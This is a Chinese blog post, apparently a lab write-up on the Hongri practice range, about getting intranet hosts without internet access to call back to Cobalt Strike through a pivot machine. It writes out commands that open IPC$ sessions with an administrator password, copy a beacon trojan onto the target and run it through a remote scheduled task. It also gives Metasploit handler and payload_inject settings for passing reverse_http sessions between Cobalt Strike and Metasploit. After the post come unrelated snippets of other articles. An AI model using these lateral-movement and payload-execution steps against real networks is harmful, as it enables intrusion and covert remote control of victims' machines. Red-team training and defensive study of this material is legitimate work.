前言

出网or不出网?

目标可以正常访问互联网,可直接在目标机挂socks代理或直接CS上线。而更多的情况是,内网中的服务器和主机不通外网,这样通常情况是无法直接实现CS上线操作的。

不出网的原因无外乎两种:

  • 网络协议被限制

  • 网络通信不通

解决办法也有两种:

  • 隧道技术:将一种网络协议的数据封装在另一种网络协议的数据包中传输,绕过网络协议的限制

  • 代理技术:利用出网的跳板机作为代理,间接上线不出网的主机

环境搭建:

内网环境继续使用之前的红日靶场:作为web服务器的win7主机采用双网卡,内网windows 2008不出网。

smb beacon上线

官网介绍:

SMB Beacon使用命名管道通过父级Beacon进行通信,当两个Beacon连接后,子Beacon从父Beacon获取到任务并发送。因为连接的Beacon使用Windows命名管道进行通信,此流量封装在SMB协议中,所以SMB Beacon相对隐蔽。

上面这个图就可以说明它们之间的关系,上线跳板机的是父Beacon,SMB Beacon作为子Beacon获取任务通过SMB隧道发送给目标主机。

SMB Beacon的使用条件如下:

  • 具有SMB Beacon的主机必须接受445端口上的连接

  • 只能链接由同一个CobaltStrike实例管理的Beacon

  • 利用这种Beacon横移必须有目标主机的管理员权限或者拥有具有管理员权限的凭据

使用HTTP Beacon上线win7跳板机:

创建一个SMB Beacon监听器:

进入Beacon控制台,输入spawn SMB Beacon的监听器名称派生会话,运行成功后在external中可以看到IP后有个∞∞字符的派生SMB Beacon。

下一步利用派生的SMB Beacon来上线不出网主机,前提是已知目标机器的管理员账号的明文密码或密码哈希,利用SMB Beacon正向连接让其上线。

抓取hash和明文密码,获取密码凭证,选择目标主机OWA(win 2008)选择使用psexec64横向移动:

内网OWA主机成功上线:

运行成功后在external中可以看到IP后有个∞∞字符,这是派生的SMB Beacon。

tcp listener转发上线

在已上线的win7跳板机创建listener,设置监听器代理转发:

转发监听器可以利用己攻陷的win7作为代理,为其他Beacon会话的中转网络流量:

生成一个stageless木马:

将木马上传至win7跳板机:

与目标主机建立IPC$连接:

shell net use \\192.168.52.138\C$ /user:Administrator "hongrisec@2019"

将win7跳板机的木马文件copy到目标主机的C共享盘下:

shell copy C:\phpStudy\WWW\beacon_x64.exe \\192.168.52.138\C$

远程创建目标主机计划任务执行木马:

shell schtasks /create /s 192.168.52.138 /u Administrator /p "hongrisec@2019" /sc MINUTE /mo 1 /tn test /tr "C:\beacon_x64.exe"

此时跳板机4444端口监听器会等待目标主机木马反弹连接,然后将流量转发到cs上线。

http代理上线

需要使用到代理工具goproxy来搭建http代理,项目地址:https://github.com/snail007/goproxy

上传proxy.exe到web服务器,在8080端口开启http代理:

shell C:\phpStudy\WWW\proxy.exe http -t tcp -p "0.0.0.0:8080" --daemon

然后再使用netsh命令在win7跳板机上做一个端口转发,将内网的822端口转发到外网的8080上:

netsh interface portproxy add v4tov4 listenaddress=192.168.52.143 listenport=3422 connectaddress=192.168.88.146 connectport=8080

设置一个HTTP Beacon监听器,http代理设置为win7跳板机内网的822端口:

生成一个stageless木马,选择为刚才设置过http代理的监听器:

然后将生成的木马上传至win7跳板机,再由跳板机与目标主机建立IPC$连接,将木马上传到目标主机,远程创建目标机计划任务执行木马。

木马会去连接822端口,win7再将822端口的http流量转发到外网的8080,最后由8080端口将流量转发到cs上线。

连接过程:

192.168.52.138(OWA) --> 192.168.52.143:822 --> 192.168.88.146:8080 --> 192.168.88.128:81(CS)

遇到一个很头疼的问题,当执行netsh命令后,在0.0.0.0监听的8080就消失了......

tcp beacon正向连接上线

tcp beacon正向连接和smb上线很类似,smb beacon是主动连接目标主机445端口建立smb隧道。而tcp正向连接是利用已上线跳板机主动与上传了木马的目标主机建立tcp连接,从而上线目标主机。

设置一个tcp正向连接的监听器:

使用tcp正向连接的监听器生成stageless木马:

还是上面一样,还是利用跳板机与目标主机建立IPC$连接,上传木马到目标主机:

shell net use \\192.168.52.138\C$ /user:Administrator "hongrisec@2019"

shell copy C:\phpStudy\WWW\b_beacon_x64.exe \\192.168.52.138\C$

跳板机执行connect指令连接目标主机木马:

内网OWA主机成功上线。

题外话 — cs和msf的权限传递

当目标上线cs以后,可以轻松地将cs权限转移到msf上,继续借助msf完成后续的渗透。

环境:msf6 + cs4.8

cs派生给msf

1)在msf上启用reverse_http模块监听本地端口:

use exploit/multi/handler
set payload windows/meterpreter/reverse_http
set lhost 192.168.88.128
set lport 4444

2)在cs上创建一个foreign http监听,ip和端口设置为msf监听的ip和端口:

Foreign监听器支持与其他软件的监听器进行派生(spawn)

3)右键 —> 凭证提权 —> 新建会话 —> 选择创建的foreign http监听:

msf成功拿到会话:

msf派生给cs

条件:msf已获取meterpreter shell

在cs上创建一个http beacon的监听器:

msf启用payload_inject模块,将ip和端口设置为cs监听的ip和端口:

use exploit/windows/local/payload_inject
set payload windows/meterpreter/reverse_http
set lhost 192.168.88.128
set lport 4567
set session 1
set DisablePayloadHandler true

注意:msf的payload和cs的监听器要保持一致

cs成功拿到会话:

总结:

对于这种边缘主机可以出网的情况,主要思路就是借助边缘的跳板机反向代理把内网主机带出来,再或者是跳板机正向去连接内网主机。反向代理的一个缺点就是,内网主机在出网的时候需要经过各种转发,所谓步骤越多就越容易失败......个人感觉在内网渗透时条件允许的情况下,首选正向连接,会比较稳定。

参考文章:

https://xz.aliyun.com/t/13918

https://xz.aliyun.com/t/8671


若有错误,欢迎指正!o( ̄▽ ̄)ブ

内网渗透之不出网上线CobaltStrike技巧的更多相关文章

  1. wooyun内网渗透教学分享之内网信息探测和后渗透准备

    常规的,从web业务撕开口子url:bit.tcl.comgetshell很简单,phpcms的,一个Phpcms V9 uc api SQL的老洞直接getshell,拿到shell,权限很高,sy ...

  2. frp内网渗透实现ssh外网访问家里树莓派(树莓派raspbian系统+腾讯云contos7)

    只有信用卡大小的它,同时也是一台功能完备的电脑(树莓派),把内网能玩的功能都玩了个遍,自然就有了外网访问这台树莓派的需求.一样也是查阅了无数文章,研究了无数个方案,最终试验成功用FRP实现了内网穿透, ...

  3. linux内网IP如果判断出网IP地址

    [root@jumpserver ~]# curl https://ip.cn当前 IP: 162.14.210.16 来自: 河南省郑州市 xx网络

  4. Linux内网渗透

    Linux虽然没有域环境,但是当我们拿到一台Linux 系统权限,难道只进行一下提权,捕获一下敏感信息就结束了吗?显然不只是这样的.本片文章将从拿到一个Linux shell开始,介绍Linux内网渗 ...

  5. beef + msf 实现内网渗透

    在内网渗透方面,最为大众所知道的就是xp系统的ms08067漏洞,通过这个漏洞可以对未打上补丁的xp系统实现getshell, 但是经过笔者发现,这种漏洞攻击在被攻击机开上windows防火墙的时候是 ...

  6. [原创]Ladon5.7大型内网渗透综合漏洞扫描器

    Ladon LadonGUI Cobalt Strike PowerLadon PythonLadon LinuxLadon 使用说明 ID 主题 URL 1 Ladon文档主页 https://gi ...

  7. 内网渗透之vlunstack靶场

    前言:vlunstack靶场是由三台虚拟机构成,一台是有外网ip的windows7系统(nat模式),另外两台是纯内网机器(外网ping不通),分别是域控win2008和内网主机win2003,这里就 ...

  8. 内网渗透测试思路-FREEBUF

    (在拿到webshell的时候,想办法获取系统信息拿到系统权限) 一.通过常规web渗透,已经拿到webshell.那么接下来作重要的就是探测系统信息,提权,针对windows想办法开启远程桌面连接, ...

  9. 内网渗透 关于GPO

    网上有很多讲内网渗透的文章,但看来看去还是一老外的博客给力,博客地址:www.harmj0y.net/blog,看完就明白这里面的很多思路都非常好. 做内网时,有时会碰到目标的机器开防火墙,所有端口基 ...

  10. [原创]K8 Cscan 3.6大型内网渗透自定义扫描器

    前言:无论内网还是外网渗透信息收集都是非常关键,信息收集越多越准确渗透的成功率就越高但成功率还受到漏洞影响,漏洞受时效性影响,对于大型内网扫描速度直接影响着成功率漏洞时效性1-2天,扫描内网或外网需1 ...

随机推荐

  1. 使用Power Shell 拉取项目源代码

    使用 Power Shell 下载代码 工具:Power Shell(win10 自带) 新建源码的存放地址 1.使用 CD 命令进入文件夹 2.使用 git clone 命令拉取代码 git 命令: ...

  2. 【GaussDB】应用报错 socket is not closed; Urgent packet sent to backend successfully; An I/O error occured while sending to the backend.detail:EOF Exception;

    数据库原理差异 会话空闲时间超过sesseion_time后,数据库主动断开,客户端再发起请求,就会报此类错误: 当一个会话连接长时间没有执行SQL或者活动时,会将该会话释放,可以释放缓存避免出现例如 ...

  3. Honor X20 忽然不能与Android Studio 连接

    背景:前一天还正常使用,可以连接Android Studio,第二天就连不上了 已知:数据线没问题,驱动没问题,设备开了开发者模式,连接上电脑时会提示已连接USB调试, 测试过程:(点击撤销USB调试 ...

  4. 如果nacos注册中心挂了怎么办

    当服务异常宕机,Nacos还未反应过来时,可能会发生的状况以及现有的解决方案. Nacos的健康检查 故事还要从Nacos对服务实例的健康检查说起. Nacos目前支持临时实例使用心跳上报方式维持活性 ...

  5. 【解题报告】P8478 「GLR-R3」清明

    P8478 「GLR-R3」清明 参考了出题人题解和 xcyyyyyy 大神的题解,强推前两篇. 拿到题完全没思路怎么办??? 人类智慧的巅峰,思维量的登峰造极. 换句话说就是非人题目,不过不得不说 ...

  6. C# – delegate, event, EventHandler

    前言 写这么多年 C#, 我从来没有写过 EventHandler. 我想应该是因为我没有用 C# 开发过前端的关系, 绝对不是我技术不行哦. 这篇就补上一个学习笔记呗. 参考 C#知识点讲解之C#d ...

  7. RxJS 系列 – Utility Operators

    前言 前几篇介绍过了 Creation Operators Filtering Operators Join Creation Operators Error Handling Operators T ...

  8. Google Analytics & Ads 学习笔记

    更新: 2021-09-13 Naming conversion for event category, action, label https://support.google.com/analyt ...

  9. Qt连连看(二)界面制作

    我们先来制作两个简单的页面 一.主界面 要求在main.cpp里面设置对应的槽函数 (1) 点击开始游戏能跳转到游戏界面 (2) 点击帮助能够显示游戏说明,如下 二.游戏界面 要求如下: (3) 初始 ...

  10. SD卡的基本知识与选购指南

    1.SD卡与TF卡 SD 卡:又叫标准 SD 卡,其尺寸大小为 32 x 24 x 2.1 mm ,一般用于数码相机.声卡和采集卡等设备. TF 卡:又叫 micro SD 卡,其尺寸大小为 15 x ...